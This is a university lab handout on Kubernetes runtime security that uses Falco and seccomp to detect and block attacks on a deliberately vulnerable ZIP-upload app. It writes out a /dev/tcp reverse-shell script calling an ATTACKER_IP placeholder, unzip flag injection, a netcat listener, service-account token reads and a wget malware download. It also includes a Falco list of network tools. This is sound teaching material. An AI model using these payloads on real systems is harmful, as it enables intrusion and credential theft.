



**Politecnico
di Torino**

Runtime Security Monitoring in Kubernetes

Networks & Cloud Technologies and Security
Network and Cloud Security

Gianmarco Fabbri
S361504

May 21, 2026

License

This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License.

You are free:

- **to Share:** to copy, distribute and transmit the work
- **to Remix:** to adapt the work

Under the following conditions:

- **Attribution:** you must attribute the work in the manner specified by the author or licensor (but not in any way that suggests that they endorse you or your use of the work).
- **Noncommercial:** you may not use this work for commercial purposes.
- **Share Alike:** if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.

More information on the [Creative Commons website](https://creativecommons.org/licenses/by-nc-sa/3.0/).



Acknowledgments

Contents

1	Introduction	4
2	Initial Setup	5
2.1	Configuring the Kubernetes Cluster with kubeadm	5
2.2	Deploying the Vulnerable Application	7
2.3	Installing Falco via Helm	7
3	Runtime Threat Detection	9
3.1	The Attack Scenario	9
3.2	Executing the Exploit	10
3.3	Analyzing Falco Alerts	10
3.4	Post-Exploitation: Kubernetes Secret Theft	11
3.5	Ptrace Anti-Debug Attack	12
4	Writing Custom Rules	14
4.1	The Building Blocks of Falco Rules	14
4.2	Creating a Custom Rule with Macros and Lists	15
4.3	Testing the Custom Rule	16
4.4	Exception Handling and False Positive Management	16
5	Automated Alert Response with Falco Handler	18
5.1	Architecture Overview	18
5.2	Deploying the Falco Handler	18
5.3	Observing the Automated Response	20
6	Defense in Depth: Seccomp	21
6.1	Seccomp in Kubernetes	21
6.2	Blocking the Reverse Shell	22
6.3	Blocking Ptrace	22
6.4	Clean Up	23

1 Introduction

In recent years, the adoption of Kubernetes and container technologies has surged due to their versatility and scalability for the deployment of massive and highly-available distributed applications. Securing these complex environments at various levels is imperative. In this lab, we delve into the critical issue of runtime security monitoring, exploring solutions for securing Kubernetes clusters and enforcing threat detection mechanisms in real-time. These measures are necessary to provide visibility and observability for containerized applications in such dynamic computing environments.

While the isolation between containers restricts the impact of an exploited application, several runtime threats can still manifest. Through hands-on exercises, students will gain a deep understanding of runtime security mechanisms, their significance in mitigating security risks, and practical implementation techniques to fortify Kubernetes deployments against emerging threats.

From a security perspective, containers are exposed to different attack vectors aiming to breach the security boundary and escape container isolation, potentially performing lateral movements within the system and escalating privileges. This vulnerability is particularly concerning in multi-tenant environments where different users run their workloads on a shared hardware.

One of the most widely adopted security tools for container runtime security is **Falco**, an open-source cloud-native runtime security project. It acts as a security camera detecting unexpected behavior, intrusions, and data theft in real-time. In this lab, students will practice deploying a vulnerable application, monitoring its behavior with Falco, and ultimately simulating an attack to observe how a command injection can lead to a reverse shell.

All the exercises will be carried out by using Virtual Machines on CrownLabs, running all the necessary tools for creating the Kubernetes cluster and experimenting with it.

Beware: when working with text-only VMs, the **highly suggested solution** is to use a terminal on the student's local machine, connecting with CrownLabs' VM via SSH (for the proper setup of an SSH key in your CrownLabs account and extensive instructions for this step, refer to the following page https://crownlabs.polito.it/resources/crownlabs_ssh/). If this is not possible, another solution is to use the image "Client VM", which has a GUI, and use it to interact with the other CrownLabs' VMs. This solution is **discouraged** since it uses too many CrownLabs resources and introduces unnecessary latencies and complications during the execution of the lab.

2 Initial Setup

The physical setup of this lab consists of two VMs representing our bare-metal infrastructure. The first VM will act as the Kubernetes *control plane*, while the second will act as the *worker node*. The installation process requires the `kubeadm`, `kubectl`, and `kubelet` packages to be installed on all servers: the provided CrownLabs image already includes them.

2.1 Configuring the Kubernetes Cluster with `kubeadm`

The Kubernetes control plane, including components such as the API server and the controller manager, governs the cluster behavior. Specifically, the control plane maintains a record of all the Kubernetes objects in the system and runs continuous control loops to manage those objects' state.

2.1.1 Configuring the control plane node

First, select a VM that is supposed to act as the control plane node and change the name of the machine to clarify its function in the Kubernetes cluster:

```
sudo hostnamectl set-hostname control-plane-1
```

Warning: you have to disconnect from the VM and open another SSH session to update the prompt. Then, from the same node, it is possible to leverage `kubeadm` to initialize the control-plane:

```
sudo kubeadm init --pod-network-cidr=10.254.0.0/16 --service-cidr=10.255.0.0/16
```

`kubeadm init` first runs a series of pre-flight checks to ensure that the machine is ready to run Kubernetes, then downloads and installs the cluster control plane components. This may take several minutes. As part of the installation process, the previous command will print on screen a join string. **Take note of it**, because it will be required later in the installation process of the worker.

Once the configuration completed, it is possible to make `kubectl` work for the current user:

```
mkdir -p $HOME/.kube
sudo cp /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config
```

Kubernetes does not embed the logic to interconnect different pods. Instead, it leverages a modular architecture based on the Container Network Interface (CNI). In this lab, we select **Cilium**, an open-source solution which provides highly scalable networking and security capabilities based on eBPF (Extended Berkeley Packet Filter).

Why Cilium and Falco together?

Both Cilium and Falco exploit the power of **eBPF**, a revolutionary Linux kernel technology that allows safe, sandboxed programs to run inside the OS kernel without modifying its source code or loading kernel modules. However, the two tools operate at complementary layers of the security stack:

- **Cilium** leverages eBPF for *network security*: it enforces Network Policies at layers L3/L4/L7, provides load balancing, and secures east-west traffic between pods. Without a CNI like Cilium, pods cannot communicate at all.
- **Falco** leverages eBPF for *runtime security*: it intercepts Linux system calls made by containerized processes directly from the kernel, detecting anomalous behaviors such as spawning shells, reading sensitive files, or opening unexpected network connections.

Together, they represent two fundamental and complementary pillars of cloud-native security: Cilium controls *what can be reached*, while Falco detects *what is happening at runtime*.

Cilium can be installed through the provided CLI:

```
curl -L --remote-name-all https://github.com/cilium/cilium-cli/releases/latest/  
download/cilium-linux-amd64.tar.gz  
sudo tar xzvfC cilium-linux-amd64.tar.gz /usr/local/bin  
rm cilium-linux-amd64.tar.gz  
cilium install --version 1.15.14
```

Once Cilium is installed, wait for it to report that the cluster is healthy:

```
cilium status --wait
```

2.1.2 Configuring the worker node

When the control plane node is ready, access the other VM to join it to the cluster as a worker node. Change its hostname for easier identification (remember to close and reopen the SSH session to update the prompt):

```
sudo hostnamectl set-hostname worker-1
```

Then, run the `kubeadm join` command echoed during the control plane setup process. The command should be similar to the following (remember to prepend `sudo`):

```
sudo kubeadm join 172.16.183.32:6443 --token <your-token> \  
--discovery-token-ca-cert-hash sha256:<your-hash>
```

Then, move back to the control plane and check that all nodes are correctly ready:

```
kubectl get nodes -o wide
```

2.2 Deploying the Vulnerable Application

Now that you have a fully working Kubernetes cluster, we can proceed to deploy the environment required for the security monitoring activities.

We will use a sample web application called `zipapp`. This application allows users to upload a ZIP file and extracts it. However, it is vulnerable to Command Injection due to insecure usage of the Linux `unzip` command. Such vulnerabilities are surprisingly common in legacy codebases and represent a perfect entry point for malicious actors.

The instructor has provided a ZIP archive containing all the necessary materials for this lab (manifests, payloads, and profiles). Extract the archive and navigate to the manifests directory:

```
unzip material.zip
cd material/manifests
```

Deploy the application in the default namespace:

```
kubectl apply -f zipapp-deployment.yaml
kubectl apply -f zipapp-service.yaml
```

Verify that the application is running:

```
kubectl get pods
```

The output should show the `zipapp` pod in the Running state:

NAME	READY	STATUS	RESTARTS	AGE
zipapp-5ffd444d74-jbwq2	1/1	Running	0	45s

2.3 Installing Falco via Helm

Falco is a CNCF graduated project for runtime security. It parses Linux system calls from the kernel at runtime, and asserts the stream against a powerful rules engine.

To install Falco in our Kubernetes cluster, we will use Helm.

Add the Falco repository to Helm:

```
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update
```

Now install Falco in a dedicated namespace (`falco`). We will use the `modern_ebpf` driver, which is the recommended way to collect system calls on modern Linux kernels.

```
helm install falco falcosecurity/falco \
  --namespace falco \
  --create-namespace \
  --set tty=true \
  --set driver.kind=modern_ebpf
```

Wait a few seconds, then verify that the Falco daemonset has been successfully deployed and the pods are running:

```
kubectl get pods -n falco
```

NAME	READY	STATUS	RESTARTS	AGE
falco-4dgzk	2/2	Running	0	39s

Falco is now silently monitoring all the system calls in our cluster!

3 Runtime Threat Detection

In this section, we will simulate a real-world attack against our vulnerable application and observe how Falco detects it. Containers are designed to run isolated applications, but vulnerabilities within the application code itself can be exploited to bypass these boundaries. When an attacker gains remote code execution (RCE) inside a container, they often try to establish a foothold to further explore the cluster, access sensitive secrets mounted in the pod, or perform lateral movements towards other containers.

3.1 The Attack Scenario

The `zipapp` application is vulnerable to Command Injection. The application takes a user-uploaded ZIP file and extracts it using the Linux `unzip` command. Command injections occur when an application passes unsafe user-supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this specific case, an attacker can exploit this by crafting a malicious ZIP file that contains specific filenames acting as flags for the `unzip` binary (e.g., `-T` and `-TT`), fooling the application into executing arbitrary scripts during the extraction phase.

For this lab, we will use this vulnerability to spawn a **Reverse Shell**. A Reverse Shell is a type of shell in which the target machine communicates back to the attacking machine. The attacking machine has a listener port on which it receives the connection, which by using code or command execution is achieved. This technique is often preferred by attackers over a Bind Shell (where the target opens a port and waits for the attacker to connect) because it easily bypasses ingress firewall rules and Network Address Translation (NAT) restrictions, since outbound traffic is rarely filtered as strictly as inbound traffic.

3.1.1 Preparing the Attacker Listener

In a real scenario, the attacker would set up a listener on a public IP address or a compromised external server. To avoid networking issues and external dependencies on the CrownLabs environment, we will simulate the attacker's machine by deploying a dedicated pod directly inside the cluster. This pod will act as our listener.

Deploy the attacker pod:

```
cat <<EOF > attacker-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: attacker
spec:
  containers:
  - name: ubuntu
    image: ubuntu
    command: ['sleep', 'infinity']
```

```
EOF
kubectl apply -f attacker-pod.yaml
```

Wait for the pod to be running, then find its IP address:

```
kubectl get pod attacker -o jsonpath='{.status.podIP}'
```

Take note of this IP (e.g., 10.244.0.8). Now, let's install netcat on the attacker pod and start listening for incoming connections on port 4444:

```
kubectl exec -it attacker -- apt-get update
kubectl exec -it attacker -- apt-get install -y netcat-openbsd
kubectl exec -it attacker -- nc -lvnp 4444
```

Leave this terminal open. It is waiting for the reverse shell connection.

3.2 Executing the Exploit

Open a new terminal. The malicious payload `reverse_shell.zip` is already included in the `material/payloads` directory. The payload contains a bash script named `evil` with the following content:

```
#!/bin/bash
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
```

(Where *ATTACKER_IP* is the IP of your attacker pod).

Now, interact with the application:

1. Find the NodePort of the zipapp service (`kubectl get svc zipapp`) or use port-forwarding:

```
kubectl port-forward service/zipapp 4000:4000
```

2. Open your browser and navigate to `http://localhost:4000`.
3. Log in with any username and password.
4. Upload the `reverse_shell.zip` file.
5. Once uploaded, click the **“Download All”** button to trigger the vulnerable zip function.

Go back to your first terminal (the attacker listener). You should see that a connection has been established!

```
Listening on 0.0.0.0 4444
Connection received on 10.244.0.5 42502
root@zipapp-5fffd444d74-jbwq2:/tmp/80bddfd...#
```

You now have a root shell inside the zipapp container.

3.3 Analyzing Falco Alerts

The attack was successful: you now have root access inside the application container, demonstrating how a simple code vulnerability can compromise the entire pod. However, Falco was actively monitoring the system calls executed by the kernel. Unlike traditional security tools that rely on static signatures

or network traffic, Falco operates at the kernel level using eBPF, giving it deep visibility into every action performed by the containerized processes.

Let's see what Falco recorded during the exploit. Open a third terminal and check the logs of the Falco daemonset:

```
kubectl logs -n falco -l app.kubernetes.io/name=falco --tail=50
```

Question

Scan the Falco logs. Can you find the alert related to the reverse shell? What is the name of the rule that was triggered?

You should find an entry similar to this:

```
Notice Redirect stdout/stdin to network connection | gparent=sh gparent=zip  
ggparent=python3 fd.sip=10.244.0.8 connection=10.244.0.5:42502->10.244.0.8:4444  
lport=42502 rport=4444 fd_type=ipv4 fd_proto=tcp evt_type=dup3 user=root user_uid  
=0 process=bash proc_exepath=/bin/bash parent=bash command=bash evil ...  
container_name=zipapp
```

Question

Analyze the output of the alert.

- What is the `evt_type` (System Call) that triggered the rule?
- Look at the process lineage (`process`, `parent`, `gparent`, `ggparent`). Does it perfectly describe how the exploit works under the hood?

3.4 Post-Exploitation: Kubernetes Secret Theft

Obtaining a shell inside a container is often just the first step. A sophisticated attacker will immediately pivot to explore what additional resources they can access. One of the most critical and common post-exploitation techniques in Kubernetes is the theft of the **Service Account Token**.

By default, Kubernetes automatically mounts a service account token inside every pod at a well-known path:

```
/var/run/secrets/kubernetes.io/serviceaccount/token
```

This token is a signed JSON Web Token (JWT) that can be used to authenticate against the Kubernetes API server (`kube-apiserver`). Depending on the RBAC permissions associated with the service account, an attacker could use this token to list secrets, create new pods (e.g., privileged ones to escape to the host), or even take over the entire cluster. This technique is classified under *MITRE ATT&CK for Containers T1528: Steal Application Access Token*.

3.4.1 Executing the Token Theft

From the reverse shell you obtained in the previous section, run the following commands to read the token and the cluster's CA certificate:

```
# From inside the zipapp container's reverse shell:
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
```

The token will be printed on screen as a long base64-encoded string. Additionally, note the namespace the pod is running in:

```
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
```

The token could then be used from any machine with network access to the API server to attempt further exploitation.

3.4.2 Falco Detection: Read Sensitive File Untrusted

Falco ships with a built-in rule specifically designed to detect this exact behavior. Open a new terminal and check the Falco logs immediately after performing the `cat` commands:

```
kubectl logs -n falco -l app.kubernetes.io/name=falco --tail=20
```

You should see an alert similar to the following:

```
Warning Read sensitive file untrusted | proc_exepath=/bin/cat gparent=bash ggparent=
sh gggparent=unzip file=/run/secrets/kubernetes.io/serviceaccount/token user=root
user_uid=0 command=cat /var/run/secrets/kubernetes.io/serviceaccount/token
container_name=zipapp image=zipapp:latest
```

Question

Analyze the output of the new Falco alert.

- What is the priority level of this alert? Why is it Warning and not Critical?
- Notice the `gggparent=unzip` in the process lineage. What does this tell you about the full attack chain, from the ZIP upload all the way to the secret theft?
- Can you think of a scenario where a legitimate process inside this container would need to read the service account token? What would be the implication for writing a custom exception for this rule?

3.5 Ptrace Anti-Debug Attack

The `ptrace()` system call is a powerful Linux primitive that allows one process to observe and control the execution of another. It is the foundation of debugging tools such as `gdb` and `strace`. However, it is also commonly abused by malware authors as an **anti-debugging technique**.

By invoking `ptrace(PTRACE_TRACEME, ...)`, a process signals to the operating system that it wishes to be traced. As a side effect, no external debugger can subsequently attach to that process, since only one tracer is allowed at a time. Sophisticated malware uses this technique to detect and evade dynamic analysis environments. This behavior is classified under *MITRE ATT&CK T1622: Debugger Evasion*.

In this exercise, we will upload a pre-compiled C binary that performs exactly this syscall and observe how Falco's built-in detection rule fires immediately.

3.5.1 Executing the Attack

The attack payload `ptrace_payload.zip` is structured identically to the reverse shell payload, exploiting the same command injection vulnerability in `zipapp`. The archive contains the files `-T`, `-TT`, `bash evil`, and the executable `evil` script, plus a pre-compiled binary called `ptrace`. The `evil` script simply calls `./ptrace` to execute it.

Info

The `ptrace_payload.zip` file is included in the `material/payloads` directory alongside the other lab materials.

First, make sure you are **not** running an active netcat listener from the previous exercise (close that terminal if needed). Then, in a dedicated terminal, start watching the Falco logs in real time:

```
kubectl logs -n falco -l app.kubernetes.io/name=falco -f --tail=0
```

Now upload `ptrace_payload.zip` to the `zipapp` web interface and click **“Download All”** to trigger execution. The attack completes in less than a second – unlike the reverse shell, it does not leave a persistent connection open.

3.5.2 Falco Detection: PTRACE Anti-Debug Attempt

Switch to the terminal running Falco logs. You should immediately see an alert similar to the following:

```
Notice PTRACE anti-debug attempt | proc_exepath=/tmp/.../ptrace gparent=bash ggparent
    =sh gggparent=unzip user=root user_uid=0 process=ptrace parent=bash command=ptrace
    container_name=zipapp image=zipapp:latest
```

Falco has detected the `ptrace` syscall with request `PTRACE_TRACEME` using the built-in rule **PTRACE anti-debug attempt**.

Question

- Compare the priority levels across all three attacks detected so far:

- Reverse Shell: Notice
- Service Account Token Theft: Warning
- Ptrace: Notice

Does the assignment of priority levels seem reasonable to you? Can you think of real-world scenarios where a `ptrace` call might be legitimate inside a container?

- Look at the process lineage (`parent`, `gparent`, `ggparent`). Is it consistent with the attack chain you executed?

4 Writing Custom Rules

One of the most powerful features of Falco is the ability to write custom rules to match the specific security baseline of your applications. While the default ruleset provided by Falco covers a wide array of generic attack patterns (e.g., spawning shells inside a container, reading sensitive files, opening unexpected network sockets), every application has its own unique and well-defined behavioral profile. Profiling an application and creating tailored rules drastically reduces false positives and establishes a tight security boundary based on the principle of *least privilege at the system call level*.

In this chapter, we will first examine the building blocks of Falco's rule language, then create and test a custom rule for our `zipapp` application, and finally explore the essential operational concept of exception handling to manage false positives in production environments.

4.1 The Building Blocks of Falco Rules

Falco's rule language is hierarchical. Rather than writing monolithic, complex conditions inside each rule, Falco encourages developers to decompose logic into three reusable primitives: **Lists**, **Macros**, and **Rules**. This structure promotes readability, reusability, and easy maintenance of the security policy.

4.1.1 Lists

A **list** is simply a named collection of items (strings), such as process names, file paths, or system calls. Lists are referenced inside macros and rules to keep conditions clean and easy to update. For example, instead of writing `proc.name = 'wget'` or `proc.name = 'curl'` directly in a rule condition, you define a list once:

```
- list: network_tools
  items: [wget, curl, nc, ncat, netcat]
```

This list can now be referenced anywhere as `proc.name in (network_tools)`, making the policy self-documenting and easy to extend.

4.1.2 Macros

A **macro** is a named, reusable condition fragment. The default Falco ruleset ships with hundreds of macros like `spawned_process`, `container`, or `never_true` that abstract common patterns. You can override existing macros or create your own:

```
- macro: in_zipapp_container
  condition: container.name = 'zipapp'
```

Macros can themselves reference other macros and lists, enabling a powerful compositional approach.

4.1.3 Rules

A **rule** is the top-level detection unit and is composed of the following key fields:

- **rule**: A short, unique name for the rule.
- **desc**: A longer description of what the rule detects.
- **condition**: A filtering expression (composed of fields, operators, macros, and lists) that determines when the rule is triggered.
- **output**: The formatted string sent to the alert channel when the rule matches. It can include *field accessors* (e.g., `%proc.name`, `%container.name`, `%user.name`) to provide rich context.
- **priority**: The severity level, ordered from low to high: DEBUG, INFO, NOTICE, WARNING, ERROR, CRITICAL.
- **tags**: Optional labels for classification (e.g., by MITRE ATT&CK technique).

4.2 Creating a Custom Rule with Macros and Lists

Let's assume our security policy dictates that the zipapp container should *never* execute network download utilities. In a zero-trust model, we must assume that an attacker who has gained code execution will immediately try to download secondary payloads, backdoors, or crypto-miners from an external Command and Control (C2) server. This post-exploitation pattern is known as the **Dropped Binary** attack and is classified under *MITRE ATT&CK T1105: Ingress Tool Transfer*.

By catching this behavior, we intercept the attacker at a critical point in their kill chain, *after* they have exploited the application but *before* they can escalate the attack.

Create a file named `custom-rules.yaml`. Notice how we use a dedicated list and a macro to keep the rule clean and composable:

```
cat <<EOF > custom-rules.yaml
customRules:
  my_rules.yaml: |-
    - list: prohibited_network_tools
      items: [wget, curl, nc, ncat]

    - macro: in_zipapp_container
      condition: container.name = 'zipapp'

    - rule: Detect Network Tools in zipapp
      desc: >
        Detects the execution of network download utilities inside the zipapp
        container. This behavior is never expected for this application and
        likely indicates a post-exploitation Dropped Binary attempt.
      condition: >
        spawned_process
        and in_zipapp_container
        and proc.name in (prohibited_network_tools)
      output: >
        Network download tool executed in zipapp container
        (user=%user.name tool=%proc.name command=%proc.cmdline
        container=%container.name image=%container.image.repository)
      priority: WARNING
      tags: [network, mitre_execution, T1105]
EOF
```

Apply this custom rule to the running Falco deployment via Helm upgrade:

```
helm upgrade falco falcosecurity/falco \
  -n falco \
  -f custom-rules.yaml \
  --reuse-values
```

Wait a few moments for the Falco pods to restart with the new configuration, then verify:

```
kubectl rollout status daemonset/falco -n falco
```

4.3 Testing the Custom Rule

To test our rule, we will simulate the Dropped Binary scenario: an attacker who has already compromised the zipapp container and is now trying to download a secondary payload using `wget`.

Execute the following command to directly spawn a shell inside the `zipapp` pod and invoke `wget`:

```
kubectl exec -it deployment/zipapp -- bash -c \
  'apt-get update -qq && apt-get install -y wget -qq && wget http://example.com/
  malware.sh'
```

Immediately check the Falco logs:

```
kubectl logs -n falco -l app.kubernetes.io/name=falco --tail=20
```

You should observe an alert matching the rule we just defined:

```
Warning Detect Network Tools in zipapp | user=root tool=wget command=wget http://
example.com/malware.sh container=zipapp image=zipapp
```

Question

- Did Falco trigger your custom rule? What is the full output string printed in the logs?
- Try adding `curl` to your `prohibited_network_tools` list and re-run the Helm upgrade. Does Falco correctly detect `curl` as well?

4.4 Exception Handling and False Positive Management

In production environments, a significant operational challenge is managing **false positives**: legitimate application behaviors that inadvertently trigger security rules. For example, consider a container where the application itself calls `curl` during a startup health-check, or where a background process periodically reads the service account token to refresh its authentication. Blocking or constantly alerting on these legitimate actions would create alert fatigue, causing security teams to miss real threats.

Falco provides a first-class mechanism for this: the **exceptions** field. An exception allows you to carve out specific, well-defined conditions from an existing rule without modifying its core logic, keeping the policy clean and auditable.

4.4.1 Defining Exceptions

Suppose that we have a legitimate process, `healthcheck.sh`, that needs to call `curl` to probe an internal endpoint. We can add an exception to our rule as follows:

```
- rule: Detect Network Tools in zipapp
  exceptions:
    - name: allow_healthcheck_curl
      fields: [proc.name, proc.pname]
      comps: [=, =]
      values:
        - [curl, healthcheck.sh]
```

This exception tells Falco: “do not trigger this rule if the process name is `curl` **and** its parent process name is `healthcheck.sh`.” Any other invocation of `curl` (e.g., from a `bash` parent, as an attacker would do) will still be caught.

4.4.2 The Operational Principle: Minimal Exception Surface

Best Practice: Minimal Exception Surface

When writing exceptions, always aim for the **most specific condition possible**. A poorly written exception like “allow `curl` if run by root” would create a massive blind spot. A well-written exception is scoped to a precise combination of process name, parent process, and container name. The goal is to eliminate the false positive while *preserving the detection surface* for all other variations of the attack.

Question

- Reflect on the `Read sensitive file` `untrusted` alert triggered in the previous chapter (Section 3.4). Could a legitimate microservice in a Kubernetes cluster ever need to read its own service account token? What would a safe and minimal exception look like for such a case?
- What is the risk of being *too permissive* in an exception? And of being *too strict*?

5 Automated Alert Response with Falco Handler

Detecting an attack in real time is only half the battle. The other half is **responding** to it. Falco, by itself, is a pure detection engine – it generates alerts but does not take any automatic action on the cluster. In production environments, security teams integrate Falco with an **automated response system** to minimize the window between detection and remediation.

In this chapter, we will extend our Falco deployment with two additional components:

- **Falcosidekick**: a companion service that receives alerts from Falco via an internal channel and fans them out to external destinations such as webhooks, Slack, PagerDuty, or S3.
- **Falco Handler**: a custom Python microservice deployed in the cluster that receives Falco alerts via webhook and executes an automated response – in our case, labeling the compromised deployment with `tainted-by-falco=true`.

Detection vs. Response

The pipeline we are building implements the two phases of an Incident Response cycle:

- **Detection (Falco)**: observes kernel-level events and generates structured alerts.
- **Response (Handler)**: consumes those alerts and triggers an action. The action in this lab is labeling the deployment, but the same architecture can be used to isolate a pod by scaling it to zero replicas, rotate credentials, or trigger a Slack notification.

5.1 Architecture Overview

The full alert pipeline works as follows:

1. Falco intercepts a suspicious syscall and generates a JSON alert.
2. The alert is sent over an internal HTTP channel to **Falcosidekick**, which runs as a sidecar container in the same Falco pod.
3. Falcosidekick forwards the alert as an HTTP POST request to the **Falco Handler** service endpoint.
4. The Handler extracts the pod name and namespace from the JSON payload, resolves the parent deployment, and labels it.

5.2 Deploying the Falco Handler

5.2.1 The Handler Microservice

The handler is a minimal Python Flask application. It exposes a single `POST /` endpoint that receives the JSON alert from Falcosidekick, identifies the affected Kubernetes deployment, and applies a label

to it.

The handler requires **RBAC permissions** to interact with the Kubernetes API. We must create a dedicated ServiceAccount, a ClusterRole granting read access to pods and patch access to deployments, and bind them together.

Info

The handler image and all necessary Kubernetes manifests (falco-handler-rbac.yaml, falco-handler-deployment.yaml, falco-handler-service.yaml) are included in the material/falco_handler directory.

5.2.2 Deploying the Handler

Navigate to the handler's manifests directory and apply the resources in the default namespace:

```
cd ../falco_handler
kubectl apply -f falco-handler-rbac.yaml
kubectl apply -f falco-handler-deployment.yaml
kubectl apply -f falco-handler-service.yaml
```

Verify that the handler pod is running:

```
kubectl get pods -l app=falco-handler
```

NAME	READY	STATUS	RESTARTS	AGE
falco-handler-7d6f9c8b4-xk2mp	1/1	Running	0	15s

5.2.3 Reconfiguring Falco with Falcosidekick

We now need to upgrade our Falco Helm release to enable Falcosidekick and point it to the handler's service endpoint. The handler is exposed as a ClusterIP service named falco-handler on port 80.

Create a file falco-sidekick-values.yaml:

```
cat <<EOF > falco-sidekick-values.yaml
falcosidekick:
  enabled: true
  config:
    webhook:
      enabled: true
      address: http://falco-handler.default.svc.cluster.local:80/
EOF
```

Upgrade the Falco Helm release to apply these settings:

```
helm upgrade falco falcosecurity/falco \
  -n falco \
  --reuse-values \
  -f falco-sidekick-values.yaml
```

Wait for the pods to restart:

```
kubectl rollout status daemonset/falco -n falco
```

After the rollout, each Falco pod will now have two containers: `falco` and `falcosidekick`.

```
kubectl get pods -n falco
```

NAME	READY	STATUS	RESTARTS	AGE
falco-4dgzk	2/2	Running	0	45s

5.3 Observing the Automated Response

Trigger any of the attacks from Chapter 3 (e.g., upload the `ptrace_payload.zip` or run the reverse shell). After the attack, check the handler logs:

```
kubectl logs deployment/falco-handler
```

You should see output similar to the following, showing that the handler received the alert, resolved the deployment name, and applied the label:

```
[*] Triggered rule from pod=zipapp-5ffd444d74-jbwq2, ns=default
[*] Deployment: zipapp
[+] Labeled deployment zipapp in default
```

Now verify that the label was applied to the deployment:

```
kubectl get deployments --show-labels
```

NAME	READY	UP-TO-DATE	AVAILABLE	LABELS
zipapp	1/1	1	1	app=zipapp,tainted-by-falco=true

The label `tainted-by-falco=true` marks the deployment as compromised. This label can be used by other systems to trigger further remediation actions.

Question

- The current handler only applies a label. Look at the commented-out code block in the handler: what more aggressive action was planned but left disabled? When would it be appropriate to enable it?
- The handler uses a `ClusterRole` (cluster-wide permissions) rather than a `Role` (namespace-scoped). Why is this necessary given how the handler resolves the pod's deployment?
- After the attack, remove the label from the deployment manually:

```
kubectl label deployment zipapp tainted-by-falco-
```

6 Defense in Depth: Seccomp

So far, we have used Falco exclusively for **detection** – it observes attacks and generates alerts, but it does not prevent them. Runtime detection is a critical capability, but a mature security posture requires **prevention** as well. In this chapter, we introduce **Seccomp** (Secure Computing Mode), a Linux kernel mechanism that restricts the set of system calls a container is allowed to make.

The combination of Falco and Seccomp embodies the *defense in depth* principle:

- **Seccomp** operates at the kernel level and *prevents* specific dangerous syscalls from being executed at all – the attack cannot succeed.
- **Falco** operates at the kernel level and *detects* anomalous behaviors – even when an attack is blocked, the attempt itself can still be logged.

6.1 Seccomp in Kubernetes

A Seccomp profile is a JSON file that defines an *allowlist* or *denylist* of Linux system calls. When applied to a pod, the Linux kernel enforces this profile on all processes in the container. If a process attempts a forbidden syscall, the kernel returns an error (typically EPERM) instead of executing it.

Seccomp profiles are applied via the `securityContext.seccompProfile` field in the pod specification. In a kubernetes cluster, custom profiles must be present on the worker node at the path:

```
/var/lib/kubelet/seccomp/<profile-name>.json
```

Navigate to the seccomp profiles directory and copy the profile to the worker node using `scp` from the control plane, renaming it to the generic name `seccomp-profile.json` expected by our deployment manifest:

```
cd material/seccomp_profiles
# Run on the control plane node:
scp seccomp-profile-connect.json user@<worker-node-ip>:/tmp/
# Then SSH to the worker and move it into place as seccomp-profile.json:
ssh user@<worker-node-ip> sudo mv /tmp/seccomp-profile-connect.json /var/lib/kubelet/
seccomp/seccomp-profile.json
```

Info

The Seccomp profile files (`seccomp-profile-connect.json` and `seccomp-profile-ptrace.json`) are included in the `material/seccomp-profiles` directory.

6.2 Blocking the Reverse Shell

The reverse shell requires the containerized process to make an outbound TCP connection to the attacker. This connection is established via the `connect()` system call. By denying this single syscall, we can prevent the reverse shell from succeeding entirely.

The profile `seccomp-profile-connect.json` has the following structure:

```
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    { "names": ["connect"], "action": "SCMP_ACT_ERRNO" }
  ]
}
```

This profile allows all syscalls by default, but explicitly returns `ERRNO` for any call to `connect`.

The instructor has already provided a pre-configured seccomp-enabled deployment manifest under the name `zipapp-deployment-seccomp.yaml` in the `manifests` folder. This manifest is already configured to mount the custom Seccomp profile named `seccomp-profile.json` at the container level.

Apply the manifest and wait for the rollout:

```
kubectl apply -f ../manifests/zipapp-deployment-seccomp.yaml
kubectl rollout status deployment/zipapp
```

Now attempt the reverse shell attack again (upload `reverse_shell.zip` and click “**Download All**”). The web application will return an **Internal Server Error** instead of a timeout – the `connect()` call was blocked by the kernel before the connection could be established.

Question

- Check the Falco logs after attempting the blocked attack. Does Falco generate any alert? Why or why not?
- What is the trade-off of blocking `connect()` globally? Can you think of a legitimate use case in `zipapp` that would require an outbound TCP connection?
- Restore the original deployment (without Seccomp) before proceeding:

```
kubectl apply -f ../manifests/zipapp-deployment.yaml
kubectl rollout status deployment/zipapp
```

6.3 Blocking Ptrace

Similarly, the `ptrace` attack can be blocked at the kernel level. Copy the second profile to the worker node, overwriting the previous `seccomp-profile.json` file so the deployment manifest can be applied without modifications:

```
scp seccomp-profile-ptrace.json user@<worker-node-ip>:/tmp/  
ssh user@<worker-node-ip> sudo mv /tmp/seccomp-profile-ptrace.json /var/lib/kubelet/  
seccomp/seccomp-profile.json
```

The profile `seccomp-profile.json` (copied from `seccomp-profile-ptrace.json`) blocks the `ptrace` syscall in the same manner. Apply the manifest to trigger a rollout and wait for it to complete:

```
kubectl apply -f ../manifests/zipapp-deployment-seccomp.yaml  
kubectl rollout status deployment/zipapp
```

Upload `ptrace_payload.zip` and trigger the attack. You will again receive an Internal Server Error – the `ptrace()` syscall returns `EPERM` and the binary exits immediately with an error.

Question

- With Seccomp blocking `ptrace`, does Falco still detect the **attempt**? Check the logs and explain your finding.
- Reflect on the complementary roles of Falco and Seccomp. If you had to choose only one for a production environment, which would you prioritize and why?

6.4 Clean Up

Once you have finished the lab, clean up all resources:

```
# Restore the original deployment  
kubectl apply -f ../manifests/zipapp-deployment.yaml  
  
# Remove the Falco handler  
kubectl delete deployment falco-handler  
kubectl delete service falco-handler  
kubectl delete clusterrolebinding falco-handler-deployment-binding  
kubectl delete clusterrole falco-deployment-manager  
kubectl delete serviceaccount falco-handler  
  
# Remove the application and Falco  
kubectl delete deployment zipapp  
